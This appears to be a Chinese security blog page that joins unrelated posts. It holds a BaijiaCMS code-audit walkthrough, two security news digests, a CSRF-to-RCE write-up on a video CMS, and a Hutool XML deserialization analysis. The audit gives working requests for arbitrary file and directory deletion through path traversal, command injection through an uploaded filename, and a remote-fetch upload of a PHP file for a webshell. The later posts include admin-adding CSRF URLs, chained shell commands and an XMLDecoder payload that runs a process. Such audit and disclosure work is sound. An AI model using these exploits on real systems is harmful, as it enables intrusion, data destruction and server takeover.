代码审计之旅之百家CMS
前言
之前审计的CMS大多是利用工具,即Seay+昆仑镜联动扫描出漏洞点,而后进行审计。感觉自己的能力仍与零无异,因此本次审计CMS绝大多数使用手动探测,即通过搜索危险函数的方式进行漏洞寻找,以此来提升审计能力,希望对正在学习代码审计的师傅能有所帮助。
环境搭建
源码链接如下所示https://gitee.com/openbaijia/baijiacms安装至本地后,我这里是phpstudy+win10,所以直接解压到phpstudy的www目录下即可。
接下来去创建一个数据库用于存储CMS信息。(在Mysql命令行中执行)
接下来访问CMS,会默认跳转至安装界面。
数据库名称和账密注意一下就好,其他随便写。
而后安装成功,可以开始进行审计了。
审计
准备工作
我们拿到一套源码时,首先需要对具体文件夹进行一次分析,这样才能对CMS有一个初步的印象,为后续审计做一些铺垫。根目录如下所示:
其对应目录解释如下:
addons 插件
api 接口
assets 静态文件
attachment 上传目录
cache 缓存目录
config 系统文件
include 系统文件
system 后端代码
针对system目录,这个较为常用,我们可以对其进行进一步分析。
system 系统模块目录
├─alipay 支付宝服务窗模块
├─bonus 优惠券模块
├─common 公共函数模板
├─index 登录页
├─member 会员模块
├─modules 可再扩展模块和模块管理
├─public 公共模块
├─shop 后台商城模块
├─shopwap 前台商城模块
├─user 系统用户
└─weixin 微信模块
对这些有过了解后,还需要看的就是一些后端支撑文件,例如这种xxxinc.php文件,他们常常存在一些漏洞,进而导致CMS出现漏洞。
所以简单阅读一下这些也是有必要的。接下来准备工作做完,就开始下一步。
路由解析
对一个CMS进行漏洞探测前,我们需要首先需要对CMS的路由有所了解。这里我们直接访问默认页面baijiacms-master/index.php,然后登录后台,这里说一下我自己认为找路由还可以的方法,就是关注一些特别点,好找一些,比如这里的修改密码界面。
我们点击它,发现此时的路由如下:
baijiacms-master/index.php?mod=site&act=manager&do=changepwd&beid=1
接下来我们在Vscode中进行全局搜索,搜password=
结果如下,可以发现它的路径。
baijiacms-master\system\manager\class\web\changepwd.php
再找到它的具体位置。
我们将它与之前看到的路由进行比对,就可以发现act其实是system文件夹下的文件夹名称,do是所选择具体文件的名称,对这些有个初步的了解,待会找到文件时能在网页中访问即可。
漏洞查找
这里Seay+关键词搜索的方式进行漏洞查找。
SQL注入
疑点一(失败)
发现有很多疑似注入点,从第一个开始跟进看。
文件路由/addons/activity/class/mobile/index.php重点代码。
global $_W,$_GPC;
$activityid = intval ( $_GPC ['activityid'] );
$operation = !empty($_GPC['op']) ? $_GPC['op'] : 'display';
$pagetitle = "活动报名入口";
$activity = pdo_fetch ("SELECT * FROM " . table ('activity') . " WHERE uniacid = '{$_W['uniacid']}' and id = " . $activityid );
可以看到uniacid变量确实未被单引号包裹,可能存在注入,但我们这里注意到它是$_W['uniacid'],追溯$_W,看到global $_W,$_GPC;,这个是全局变量,所以我们直接在vscode中进行查找(ctrl+shift+f全局搜索)
发现$_GPC=$_GP,所以我们只需要确定$_GP,就
可以确定$_GPC,接下来寻找$_GP,最终在baijiacms.php中发现此变量
这里的话可以看出是对所有方法请求的参数进行了一个stripslashes函数处理,而后将参数进行了合并,合并后对数组内的参数依次进行遍历,进行htmlspecialchars函数处理,而后将实体字符&替换为&。不过这个是$_GPC的,但都是全局变量,$_W应该也类似,接下来再跟着看一下,我们全局搜索$_W=
这里可以发现$W=$_CMS,同时看出我们的$_W['uniacid']=$_CMS['beid'],接下来搜索$_CMS['beid']=
找到它等同于一个函数,即getDomainBeid函数,所以接下来寻找getDomainBeid函数。
function getDomainBeid()
{
global $_GP;
$system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where (`website`=:website1 or `website`=:website2) and `deleted`=0 ",array(":website1"=>WEB_WEBSITE,":website2"=>'www.'.WEB_WEBSITE));
if(empty($system_store['id']))
{
if(!empty($_GP['beid']))
{
$system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where `id`=:id and `deleted`=0",array(":id"=>$_GP['beid']));
if(empty($system_store['id']))
{
message("未找到相关店铺");
}
if(!empty($system_store['isclose']))
{
message("店铺已关闭无法访问");
}
return $system_store['id'];
}else
{
return "";
}
}else
{
if(!empty($system_store['isclose']))
{
message("店铺已关闭无法访问");
}
return $system_store['id'];
}
}
这里可以看出system_store是由系统数据库中查出来的数据,这个对我们来说是不可控的,我们可控的是$_GP['beid'],此时看着一个SQL语句。
$system_store = mysqld_select('SELECT id,isclose FROM '.table('system_store')." where `id`=:id and `deleted`=0",array(":id"=>$_GP['beid']));
如果我们的数据正常,他的结果应该是:
id isclose
xx xxxxxxx
xx xxxxxxx
而当我们输入beid为xx and sleep(2)这种,它毫无疑问是不会有查询结果的,这也就意味着$system_store['id'],而这个函数的最终结果是return $system_store['id'];,那么此时它就会返回空值,那么回到这个SQL语句。
pdo_fetchall("select * from " . tablename('eshop_member') . " where isagent =1 and status=1 and uniacid = " . $_W['uniacid'] . " {$condition} ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . ',' . $psize);
如果我们那里正常,想让返回的不为空值,那么这个$_W['uniacid']只能接收到正常的id,也就是数据库中存储着的id值,所以这里是无法进行SQL注入的。
类似这个的还有如下文件:
文件名:system/eshop/core/mobile/commission/team.php部分PHP代码$list = pdo_fetchall("select * from " . tablename('eshop_member') . " where isagent =1 and status=1 and uniacid = " . $_W['uniacid'] . " {$condition} ORDER BY agenttime desc limit " . ($pindex - 1) * $psize . ',' . $psize); 文件名: /addons/activity
疑点二(失败)
文件路径/system/common/model/virtual.php
这里发现参数id,跟进id变量,发现来源于
public function updateGoodsStock($id = 0) { global $_W, $_GPC; $goods = pdo_fetch('select virtual from ' . tablename('eshop_goods') . ' where id=:id and type=3 and uniacid=:uniacid limit 1', array( ':id' => $id, ':uniacid' => $_W['uniacid'] ));
发现这里的id是直接赋值为0的,我们是不可控的,所以不存在注入。
任意目录及文件删除
关于漏洞寻找,大多是从一些敏感函数入手,如果觉得Seay扫描的不够全面,我们可自行查找,对于文件删除,我们这里首先想到的就是unlink函数,所以我们这里打开Vscode,ctrl+shift+f全局搜索unlink函数。
这里注意到有多个文件,js及css前端文件自不必看,我们这里要关注的是php文件,接下来从第一个开始看。
疑点一
文件路由baijiacms-master\includes\baijiacms\common.inc.php,涉及代码如下:
function rmdirs($path='',$isdir=false)
{
if(is_dir($path))//判定变量是否为目录
{
$file_list= scandir($path); //查看路径下的文件
foreach ($file_list as $file)//依次遍历
{
if( $file!='.' && $file!='..')//如果不是.和..
{
if($file!='qrcode')
{
rmdirs($path.'/'.$file,true);//删除目录下的文件
}
}
}
if($path!=WEB_ROOT.'/cache/')//如果变量名不是根目录拼接cache
{
@rmdir($path); //删除目录
}
}
else
{
@unlink($path);
}
}
可以看到当它判定变量为目录时,会对目录下的文件进行递归,而后删除一切文件,如果它不是目录,那么他此时就会直接删除这个文件。接下来有函数了,那我们就要看哪个文件利用了这个函数,然后来进行利用。所以接下来全局搜索函数
在文件baijiacms-master\system\manager\class\web\database.php中发现如下代码:
if($operation=='delete') { $d = base64_decode($_GP['id']); $path = WEB_ROOT . '/config/data_backup/'; if(is_dir($path . $d)) { rmdirs($path . $d); message('备份删除成功!', create_url('site', array('act' => 'manager','do' => 'database','op'=>'restore')),'success'); }}
可以发现这里对变量进行了base64_decode处理,这下我们想删除的目录的话,我们首先需要对他进行一个base64编码,同时我们可以看到这里指定了路径。
$path = WEB_ROOT . '/config/data_backup/';
但这个我们其实是可以绕过的,后续只校验了是不是目录,而未限定目录,所以我们通过burpsuite抓包修改目录就可以实现任意目录删除。
接下来进行利用尝试首先我们在根目录下新建一个目录(名字随便,我这里为qwq)。
接下来访问这个数据库备份界面,具体路由如下:
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=database&op=restore&beid=1
开启bp抓包,点击删除功能点。发送到重放包界面,修改id为Li4vLi4vcXdx(../../qwq的Base64编码形式)
此时再回根目录查看。
疑点二
除了rmdir和unlink,我们常常还可以关注delete函数,因为他直译过来也是删除的意思,所以接下来就全局进行搜索delete()
而后在includes\baijiacms\common.inc.php中发现相关代码,具体代码如下:
function file_delete($file_relative_path) { if(empty($file_relative_path)) { return true; } $settings=globaSystemSetting(); if(!empty($settings['system_isnetattach'])) { if($settings['system_isnetattach']==1) { require_once(WEB_ROOT.'/includes/lib/lib_ftp.php'); $ftp=new baijiacms_ftp(); if (true ==
这里重点关注这一个
if(!empty($settings['system_isnetattach']))
当这个执行通过时,就不会去删除,反之,直接将文件删除,因此我们有必要去找一下这个是什么东西,照旧,全局搜索。
这里发现是远程附件,因此我们这里选择本地的话,按理说就可直达else,对文件进行直接删除,访问具体路由。
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1
接下来就设置好了,接下来去寻找运用了这个file_delete函数的文件,全局搜索一下。
文件路由为system\eshop\core\mobile\util\uploader.php,部分代码如下:
} elseif ($operation == 'remove') {
$file = $_GPC['file'];
file_delete($file);
show_json(1);
}
因此我们这里访问这个路由并设置operation为remove,按理说就可以直接删文件了,接下来尝试利用。
首先在根目录新建文件,这里命名为qwq.txt
接下来访问路由。
http://127.0.0.1:8080/baijiacms-master/index.php?mod=mobile&act=uploader&do=util&m=eshop&op=remove&file=../test.txt
此时查看根目录。
文件已成功删除。
同时,我们刚刚还看到了不止这一个文件利用了delete函数,另外的是否存在呢,我们来看一下文件路由system\eshop\core\web\shop\category.php,具体代码:
elseif ($operation == 'post') {
...
...
...
if (!empty($id)) {
unset($data['parentid']);
pdo_update('eshop_category', $data, array(
'id' => $id
));
file_delete($_GPC['thumb_old']);
这里可以发现想删除文件,需要有三个条件:
1、$operation == 'post'2、$id不为空3、$_GPC['thumb_old']为具体文件名
所以我们按理说的话,我们去访问这个路由,然后修改$operation为post,添加参数$id=1,同时附加参数$thumb_old为想删除文件名即可实现删除文件,这个$operation在前面可以看到其实是参数op
所以我们直接给op赋值为post,即可实现文件删除,接下来进行尝试。
在根目录新建文件qwq2.txt
接下来访问路由。
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=category&op=post&do=shop&m=eshop&beid=2&id=1&thumb_old=../qwq.txt
此时即可实现删除文件。
命令执行
针对命令执行,我们关注的函数肯定是eval、system、exec这几个,所以接下来就尝试去利用Vscode的全局搜索来寻找可疑点。首先搜索的是eval
找到的大多数是带有eval的关键词而非eval函数,只有寥寥几个文件涉及了eval函数,接下来进行简单分析。
疑点一(失败)
文件路由baijiacms-master\system\shopwap\template\mobile\login_dingtalk_pc.php,部分代码如下:
function checkstatus(){$.get("<?php echo create_url('mobile',array('act' => 'dingtalk','do' => 'fastlogin_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){var data= eval("(" + data + ")"); if(data.status==1) { location.href="<?php echo create_url('mobile',array('act' => 'dingtalk'
这里的话可以看出是js类代码,简单分析一下这个函数,不难发现参数第一个是取对应的URL,第二个函数,也就是function(data),它是对从第一个URL中提取出的参数进行执行,这里我们接着看函数,它这里当执行过函数后,对结果的状态取值进行了判断,结果为1时判断为登录成功,就会跳转至另一个界面,而当为-1时就会登录失败,重回登录界面,所以我们这里可以看到他其实是不存在输出执行结果的地方的,所以我们根本无从下手,这里是无法实现命令执行的,所以Pass。
类似的文件还有如下几个,亦不必再看。
文件路由:baijiacms-master\system\shopwap\template\mobile\login_weixin_pc.php
部分代码:
function checkstatus(){
$.get("<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){
var data= eval("(" + data + ")");
if(data.status==1)
{
location.href="<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin_pc','op'=>'tologin','skey'=>$showkey));?>";
}
if(data.status==-1)
{
alert("登录失败!重新刷新二维码登录");
location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'login','op'=>'weixin'));?>";
}
});
}
setInterval("checkstatus()",2000);
文件路由:baijiacms-master\system\weixin\template\mobile\badding_weixin_pc.php
部分代码:
function checkstatus(){
$.get("<?php echo create_url('mobile',array('act' => 'weixin','do' => 'banding_pc','op'=>'dologincheck','skey'=>$showkey));?>", {}, function(data){
var data= eval("(" + data + ")");
if(data.status==1)
{
location.href="<?php echo create_url('mobile',array('act' => 'shopwap','do' => 'account'));?>";
}
if(data.status==-1)
{
alert("登录失败!重新刷新二维码登录");
location.href="<?php echo create_url('mobile',array('act' => 'weixin','do' => 'fastlogin','bizstate'=>'banding_weixin'));?>";
}
});
}
setInterval("checkstatus()",2000);
疑点二
接下来我们关注system函数,直接Vscode全局搜。
最终在includes\baijiacms\common.inc.php下找到system函数,其中部分代码如下:
function file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path,$allownet=true)
{
$settings=globaSystemSetting();
if(!file_move($file_tmp_name, $file_full_path)) {
return error(-1, '保存上传文件失败');
}
if(!empty($settings['image_compress_openscale']))
{
$scal=$settings['image_compress_scale'];
$quality_command='';
if(intval($scal)>0)
{
$quality_command=' -quality '.intval($scal);
}
system('convert'.$quality_command.' '.$file_full_path.' '.$file_full_path);
}
...
....
.....
这里可以看到是保存文件的,在其中进行了一个判断是否上传成功的,这个自不必在意,这里我们看另一个:
if(!empty($settings['image_compress_openscale']))
这个是什么意思呢,我们这里可以看出如果这个判断可以通过,而后就会对文件名和文件路径进行一个system执行,那我们就有可能实现命令执行,因此我们的首要任务就是找到这个是什么东西,所以接下来全局搜索image_compress_openscale
此时就找到了,它就是图片压缩功能,所以我们直接去开启这个功能,这里这个if判断就可以通过啦,所以接下来首先去开启这个,访问路由如下:
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=manager&do=netattach&beid=1
接下来我们跟进看一下哪个文件利用了这个函数,毕竟找到文件才能利用。
可以发现这里的话对此函数进行了一个利用,具体代码如下:
$extention = pathinfo($file['name'], PATHINFO_EXTENSION);
$extention=strtolower($extention);
if($extention=='txt')
{
$substr=substr($_SERVER['PHP_SELF'], 0, strrpos($_SERVER['PHP_SELF'], '/'));
if(empty( $substr))
{
$substr="/";
}
$verify_root= substr(WEB_ROOT."/",0, strrpos(WEB_ROOT."/", $substr))."/";
//file_save($file['tmp_name'],$file['name'],$extention,$verify_root.$file['name'],$verify_root.$file['name'],false);
file_save($file['tmp_name'],$file['name'],$extention,WEB_ROOT."/".$file['name'],WEB_ROOT."/".$file['name'],false);
if($verify_root!=WEB_ROOT."/")
{
copy(WEB_ROOT."/".$file['name'],$verify_root."/".$file['name']);
}
$cfg['weixin_hasverify']=$file['name'];
}
这里的话是对上传文件进行了pathinfo函数处理,其实也就是获取了拓展名(后缀名),当为txt后缀时,会继续往下进行,继而调用这个file_save函数,所以我们这里的思路就明了了,我们这里新建一个文件,命名为xxx命令.txt,此时按理说就可以达到一个命令执行的效果,接下来进行尝试。
我们这里新建一个txt文件,命名为&ipconfig&.txt
接下来对其进行上传,具体路由
http://127.0.0.1:8080/baijiacms-master/index.php?mod=site&act=weixin&do=setting&beid=1
接下来保存便可以看到效果。
任意文件读取
疑点一(失败)
文件路由/system/eshop/core/mobile/shop/util.php,重要代码如下:
} else if ($operation == 'areas') { require_once WEB_ROOT . '/includes/lib/json/xml2json.php'; $file = ESHOP_AREA_XMLFILE; $content = file_get_contents($file); $json = xml2json::transformXmlStringToJson($content); $areas = json_decode($json, true); die(json_encode($areas));
其他暂且不看,我们这里先看这两个:
$file = ESHOP_AREA_XMLFILE;$content = file_get_contents($file);
本来直接包含$file的话,确实是可能存在文件读取,但我们这里可以看到它这里是给$file直接赋值了,这个是什么呢,我们全局搜索一下可以发现是一个xml文件。
那么它对我们来说是不可控的,所以这里就不存在文件读取了,因此这里属于误报,看下一处。
所以类似这种的可疑点不必再关注,这里简单列出几个:
文件名:/system/eshop/core/web/sale/enough.php
部分代码:
$content = file_get_contents($file);
文件名:/system/eshop/core/web/shop/dispatch.php
部分代码:
$content = file_get_contents($file);
文件上传
疑点一
文件上传,这里Seay并未扫到什么,所以我们手动来进行寻找,对于文件上传,最先想到的就是上传二字,对应英文为upload,所以直接Vscode全局搜索upload()
文件路由为includes\baijiacms\common.inc.php,具体代码如下:
function file_upload($file, $type = 'image') {
if(empty($file)) {
return error(-1, '没有上传内容');
}
$limit=5000;
$extention = pathinfo($file['name'], PATHINFO_EXTENSION);
$extention=strtolower($extention);
if(empty($type)||$type=='image')
{
$extentions=array('gif', 'jpg', 'jpeg', 'png');
}
if($type=='music')
{
$extentions=array('mp3','wma','wav','amr','mp4');
}
if($type=='other')
{
$extentions=array('gif', 'jpg', 'jpeg', 'png','mp3','wma','wav','amr','mp4','doc');
}
...
...
}
这里可以看到这个是进行了很多检测的,对文件类型进行了检测,且要求了后缀,所以这个函数应该是文件上传不了了,但还好它不止一个有关upload的函数,我们往下看到这样一个函数:
function fetch_net_file_upload($url) {
$url = trim($url);
$extention = pathinfo($url,PATHINFO_EXTENSION );
$path = '/attachment/';
$extpath="{$extention}/" . date('Y/m/');
mkdirs(WEB_ROOT . $path . $extpath);
do {
$filename = random(15) . ".{$extention}";
} while(is_file(SYSTEM_WEBROOT . $path . $extpath. $filename));
$file_tmp_name = SYSTEM_WEBROOT . $path . $extpath. $filename;
$file_relative_path = $extpath. $filename;
if (file_put_contents($file_tmp_name, file_get_contents($url)) == false) {
$result['message'] = '提取失败.';
return $result;
}
$file_full_path = WEB_ROOT .$path . $extpath. $filename;
return file_save($file_tmp_name,$filename,$extention,$file_full_path,$file_relative_path);
}
可以发现这个只对文件进行了pathinfo函数处理,取出其后缀名,然后拼接路径及随机数字来组成文件名,那么我们如果通过这个函数进行文件上传,按理说就可以上传php文件实现getshell,接下来看看哪个文件利用了此函数。
文件路由system\public\class\web\file.php,具体代码:
if ($do == 'fetch') {
$url = trim($_GPC['url']);
$file=fetch_net_file_upload($url);
if (is_error($file)) {
$result['message'] = $file['message'];
die(json_encode($result));
}
}
接下来我们只需要满足do=fetch,然后url中包含我们的文件,便可实现文件上传,我这里远程文件内容如下:
接下来进行利用尝试。访问路由如下:
http://127.0.0.1:8080/baijiacms-master/index.php?mod=web&do=file&m=public&op=fetch&url=http://xxx.xxx.xxx.xxx/qwq.php
访问给出的文件路径。
可以发现此时已经实现了文件上传,如果传一句话木马即可Getshell。
后言
本次CMS审计是小白的第一次大幅度利用手动搜索危险函数来寻找漏洞,共计耗时半周,对本小白来说已颇为吃力,其中颇多审计失败的点,虽审计失败,但仍感觉对代码能力有了进一步了解,也算有所收获。最后,如果文章中有错误,还望各位大师傅多多指正。
网络安全日报 2023年03月08日
1、APT组织利用虚假APP投递CapraRAT后门程序
https://thehackernews.com/2023/03/transparent-tribe-hackers-distribute.html 一个名为Transparent Tribe的高级持续性威胁 (APT) 组织与正在进行的针对印度和巴基斯坦 Android用户的网络间谍活动有关,该活动带有一个名为CapraRAT的后门。“透明部落通过捆绑木马的 MeetsApp 和 MeetUp 的聊天应用程序投递了Android CapraRAT后门,”ESET在与黑客新闻分享的一份报告中说。
2、Ransom House勒索软件攻击了巴塞罗那医院
https://securityaffairs.com/143121/cyber-crime/hospital-clinic-de-barcelona-ransomware.html 西班牙城市的主要医院之一巴塞罗那医院 (Hospital Clinic de Barcelona) 遭受了网络攻击,导致其计算机系统瘫痪。周日,勒索软件攻击攻击使该医院的计算机系统瘫痪,150 项非紧急手术和多达 3,000 项患者检查因网络攻击而被取消。医院正在将新的紧急病例转移到市内其他医院。
3、大疆无人机被曝 16 个安全漏洞:可破解禁飞限制、飞行中强制坠落
https://www.secrss.com/articles/52508 研究员针对大疆无人机进行多方面研究,如对其通信协议量身定制了一种模糊测试方法,共找到 16 个安全漏洞,并发现其设备跟踪协议存在隐私漏洞。
4、证监会发布《证券期货业网络和信息安全管理办法》
https://www.secrss.com/articles/52469 为有效落实《网络安全法》《数据安全法》《个人信息保护法》《关键信息基础设施安全保护条例》相关要求,规范证券期货业网络和信息安全管理,防范化解行业网络和信息安全风险,维护资本市场安全平稳高效运行,证监会制定并发布了《证券期货业网络和信息安全管理办法》
5、SYS01stealer:针对政府关键基础设施和制作公司的新型信息窃取器
https://securityaffairs.com/143162/cyber-crime/sys01-stealer-targets-critical-infrastructure.html 研究人员发现了一种名为 SYS01 窃取器的新信息窃取器,目标是关键的政府基础设施和制造公司。
6、宏碁披露新数据泄露事件,160 GB 敏感数据被出售
https://securityaffairs.com/143150/data-breach/acer-data-breach-160-gb.html 硬件和电子公司宏碁在威胁行为者声称对该公司进行黑客攻击后披露了数据泄露事件。
7、丰田管理平台中的漏洞可以对客户数据进行访问
https://www.securityweek.com/vulnerability-in-toyota-management-platform-provided-access-to-customer-data/ Toyota Customer 360 客户关系管理 (CRM) 平台中的一个严重漏洞允许安全研究人员访问墨西哥汽车制造商客户的个人信息。
8、Android 的 2023 年 3 月更新修补了 50 多个漏洞
https://www.securityweek.com/androids-march-2023-updates-patch-over-50-vulnerabilities/ 作为 2023 年 3 月 Android 平台安全更新的一部分,谷歌本周宣布了 50 多个漏洞的补丁。其中最严重的是系统组件中的两个远程代码执行 (RCE) 缺陷,这两个缺陷都已作为2023-03-01 安全补丁级别的一部分得到解决。
9、LastPass Hack:工程师未更新 Plex 软件导致大规模数据泄露
https://thehackernews.com/2023/03/lastpass-hack-engineers-failure-to.html LastPass 的大规模漏洞是其一名工程师未能在其家用计算机上更新 Plex 的结果,攻击者利用 Windows 上 Plex Media Server 中不受信任的数据的反序列化攻击了该员工的家用计算机。该问题被跟踪为CVE-2020-5741 (CVSS 评分:7.2),经过身份验证的远程攻击者可以利用该问题执行任意 Python 代码。
10、巴西企业集团 Andrade Gutierrez 遭受 3TB 数据泄露
https://www.infosecurity-magazine.com/news/brazilian-conglomerate-3tb-data/ 黑客从巴西跨国公司 Andrade Gutierrez 窃取了数 TB 的公司和员工信息,据报道该公司仍未承认这次袭击。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
记一次影视cms黑盒CSRF->RCE
俗话说得好,思路才是最重要,本文章主要提供思路,各位师傅在挖掘漏洞的时候说不定也能碰到类似的点。
思路:
当我们在找可以构建csrf的时候,多找找可以提交上传图片的,部分是可以自由构建url,如图:
漏洞位置:
反馈位置构造csrf
既然能任意构建url,并没有校验防御。
开始找后台漏洞点
添加管理员处抓包
添加管理员转get试下,看能不能成功添加。
发现可行,我们返回反馈列表抓包构建下poc:
这里的话先构造一个添加管理员的,&符号需要编码下。
然后返回后台看看反馈列表。
这里的话只需要管理员点开触发即可。
点击之后Img src会加载get请求。
成功添加管理员
Poc:
添加管理员
/admin.php/sys/save?name=admin1&pass=123456
修改认证码
/admin.php/setting/save?admin_code=admin
当然没rce是没有灵魂的。
在采集管理,下载资源会压缩保存。
因为if会判断执行无法用|那么就用;,因为;在shell中,担任连续指令,从左到右执行,当执行到错误的命令会停止。
可以看到我这里的分别执行了ls和ping命令。
演示:
ls;ping
ls;dir;ping;i
复现成功
RCE 就不公布了,涉及到很多站点。
网络安全日报 2023年03月07日
1、研究人员在PyPI库中发现窃密木马Colour-Blind
https://securityaffairs.com/143066/cyber-crime/colour-blind-malware-pypi.html Kroll 的网络威胁情报团队的研究人员发现了一个上传到 Python 包索引 (PyPI) 的恶意 Python 包,其中包含一个功能齐全的信息窃取程序和被跟踪为 Colour-Blind 的远程访问木马。RAT 通过控制接口支持的功能包括:窃取令牌、密码、Cookies、键盘记录、加密货币等。
2、TPM 2.0 爆出漏洞,数十亿物联网设备受到严重威胁!
https://www.freebuf.com/news/359428.html 可信平台模块 ( TPM ) 2.0 参考库规范中爆出一个严重安全漏洞,这些漏洞可能会导致设备信息泄露或权限提升。
3、电动汽车充电设施正成为网络攻击的新目标
https://www.darkreading.com/ics-ot/ev-charging-infrastructure-electric-cyberattack-opportunity 随着电动汽车 (EV) 充电基础设施急于跟上美国电动汽车销量的急剧增长,网络攻击者和安全研究人员等已经开始关注基础设施中的安全弱点。能源网络网络安全公司 Saiflow 的研究人员在开放式充电点协议 (OCPP) 中发现了两个漏洞,可用于分布式拒绝服务 (DDoS) 攻击和窃取敏感信息。
4、Play 勒索软件团伙已开始泄露从奥克兰市窃取的数据
https://securityaffairs.com/143037/cyber-crime/play-ransomware-leaks-city-of-oakland.html Play 勒索软件组织开始泄露一个 10 GB 的档案,其中包含敏感数据,例如员工信息、护照和 ID。
5、欧洲警方捣毁了DoppelPaymer勒索软件团伙
https://securityaffairs.com/143110/cyber-crime/europol-doppelpaymer-ransomware-gang.html 德国警方宣布捣毁了 DoppelPaymer 勒索软件行动背后的一个国际网络犯罪团伙。
6、利用 GoAnywhere MFT 零日漏洞导致 Hatch Bank数据泄露
https://securityaffairs.com/143085/data-breach/hatch-bank-goanywhere-mft-bug.html 金融科技平台 Hatch Bank 披露了一起数据泄露事件,黑客利用了最近在 Fortra GoAnywhere MFT 安全文件共享平台中发现的一个零日漏洞。Hatch Bank 是一家金融科技公司,为其他金融科技公司提供服务。
7、新的 HiatusRAT 恶意软件以商业级路由器为目标暗中监视受害者
https://thehackernews.com/2023/03/new-hiatusrat-malware-targets-business.html 从 2022 年 7 月开始,一种前所未见的复杂恶意软件以企业级路由器为目标,秘密监视拉丁美洲、欧洲和北美的受害者。这个难以捉摸的活动被 Lumen Black Lotus Labs 称为Hiatus,已被发现部署了两个恶意二进制文件,一个称为 HiatusRAT 的远程访问木马和一个tcpdump 的变体,它可以在目标设备上捕获数据包。
8、美国政府命令各州对公共供水系统进行网络安全审计
https://securityaffairs.com/143065/security/public-water-systems-cybersecurity.html 美国政府敦促对公共供水系统进行网络安全审计,强调保护美国关键基础设施的重要性。
9、LockBit 推出绕过 MOTW 保护的新方法
https://cyware.com/news/lockbit-introduces-new-method-to-bypass-motw-protection-32a22ae1 去年 12 月和 1 月,研究人员发现了一个新的 LockBit 勒索软件活动,该活动使用一种涉及使用 .img 容器绕过网络标记 (MOTW) 保护机制的新技术。在成功的 RaaS 和勒索攻击中,LockBit 仍然是最活跃的勒索软件系列之一。
10、最近修补的 Microsoft Word RCE 漏洞PoC已公开
https://www.helpnetsecurity.com/2023/03/06/cve-2023-21716-poc CVE-2023-21716 的 PoC 利用现已公开,这是 Microsoft Word 中的一个关键 RCE 漏洞,可在用户预览特制 RTF 文档时被利用。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
hutool XML反序列化漏洞(CVE-2023-24162)
漏洞简介
Hutool 中的XmlUtil.readObjectFromXml方法直接封装调用XMLDecoder.readObject解析xml数据,当使用 readObjectFromXml 去处理恶意的 XML 字符串时会造成任意代码执行。
漏洞复现
我们在 maven 仓库中查找 Hutool
https://mvnrepository.com/search?q=Hutool
把依赖复制出来,添加到项目的 pom.xml 文件中
<!-- https://mvnrepository.com/artifact/cn.hutool/hutool-all -->
<dependency>
<groupId>cn.hutool</groupId>
<artifactId>hutool-all</artifactId>
<version>5.8.11</version>
</dependency>
添加完成后刷新一下 maven 依赖
我们编写代码
import cn.hutool.core.util.XmlUtil;
public class Test {
public static void main(String[] args) {
XmlUtil.readObjectFromXml("<java>\n" +
" <object class=\"java.lang.ProcessBuilder\">\n" +
" <array class=\"java.lang.String\" length=\"1\">\n" +
" <void index=\"0\">\n" +
" <string>calc</string>\n" +
" </void>\n" +
" </array>\n" +
" <void method=\"start\"></void>\n" +
" </object>\n" +
"</java>\n");
}
}
在项目目录下创建一个 bean.xml 文件,将 xml 放在文件中,构造代码也可以触发
import cn.hutool.core.util.XmlUtil;
import java.io.File;
public class Test {
public static void main(String[] args) {
File file = new File("bean.xml");
XmlUtil.readObjectFromXml(file);
}
}
漏洞分析
整个漏洞分析下来相对来时是比较简单的,但是深入搞清楚 XML 反序列化的原理需要花费不小的功夫
cn.hutool.core.util.XmlUtil#readObjectFromXml(java.lang.String)
当然这个地方也是可以通过读取文件来实现的
cn.hutool.core.util.XmlUtil#readObjectFromXml(java.io.File)
cn.hutool.core.util.XmlUtil#readObjectFromXml(org.xml.sax.InputSource)
java.beans.XMLDecoder#readObject
漏洞本质上是 java 原生方法中的漏洞,XMLDecoder.readObject 。所以不去调用 hutool-all 中的 readObjectFromXml 方法 就可以避免这个漏洞的产生。
漏洞修复
在最新版的 hutool-all 没有用黑名单,而是直接移除了 readObjectFromXml 方法,简单粗暴。
XMLDecoder.readObject
<java>
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0"><string>calc</string></void>
</array>
<void method="start"></void>
</object>
</java>
object 标签,class 的值对应着实例化的全类名(java.lang.ProcessBuilder)
array 标签,class 的值对应着实例化的全类名对象构造的参数(ProcessBuilder 对象的构造参数)
void 标签,method 的值对应着 method 的参数 (start)
最后相当于执行了
new java.lang.ProcessBuilder(new String[]{"calc"}).start();
为了方便看到整个调用联的流程,我们在触发漏洞的位置加上断点,分析其中经过了那些处理
java.lang.ProcessBuilder#start
start:1007, ProcessBuilder (java.lang)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:71, Trampoline (sun.reflect.misc)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:275, MethodUtil (sun.reflect.misc)
invokeInternal:292, Statement (java.beans)
access$000:58, Statement (java.beans)
run:185, Statement$2 (java.beans)
